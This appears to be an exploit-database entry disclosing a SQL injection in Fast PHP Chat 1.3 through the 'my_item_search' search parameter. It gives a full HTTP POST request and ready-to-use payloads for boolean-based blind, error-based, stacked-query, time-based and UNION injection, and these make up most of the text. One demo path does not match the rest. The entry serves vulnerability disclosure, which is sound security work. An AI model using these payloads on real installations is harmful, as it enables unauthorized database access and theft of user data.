[webapps] Fast PHP Chat 1.3 - 'my_item_search' SQL Injection

# Exploit Title: Fast PHP Chat 1.3 - 'my_item_search' SQL Injection # Date: 15/04/2021 # Exploit Author: Fatih Coskun # Vendor Homepage: https://codecanyon.net/item/fast-php-chat-responsive-live-ajax-chat/10721076 # Version: 1.3 # Category: Webapps # Tested on: Kali linux # Description : The vulnerability allows an attacker to inject sql commands from search section with 'my_item_search' parameter. ==================================================== # PoC : SQLi : POST /chat/edit.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://localhost/chat/edit.php Cookie: PHPSESSID=9a04fe702b8ff82c1199590d7c286e1c; _ga=GA1.2.1275939122.1527132107; _gid=GA1.2.1709883568.1527132107 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 40 my_item_search=test&submit_search=Search Parameter : my_item_search Type : boolean-based blind Demo : https://localhost/chat/edit.php Payload : my_item_search=-2454' OR 6122=6122#&submit=Search Type : error-based Demo : https://localhost/chat/edit.php Payload : my_item_search=test' AND (SELECT 3274 FROM(SELECT COUNT(*),CONCAT(0x71706a7071,(SELECT (ELT(3274=3274,1))),0x7162716b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- hbeW&submit=Search Type : stacked queries Demo : https://localhost/chat/edit.php Payload : my_item_search=test';SELECT SLEEP(5)#&submit=Search Type : AND/OR time-based blind Demo : https://localhost/login-script-demo/users.php Payload : my_item_search=test' OR SLEEP(5)-- mlod&submit=Search Type : UNION query Demo : https://localhost/chat/edit.php Payload : my_item_search=test' UNION ALL SELECT NULL,CONCAT(0x71706a7071,0x4c5a6241667667676e4f6658775348795675704b557871675a5542646273574e5359776668534a71,0x7162716b71),NULL,NULL,NULL,NULL#&submit=Search ====================================================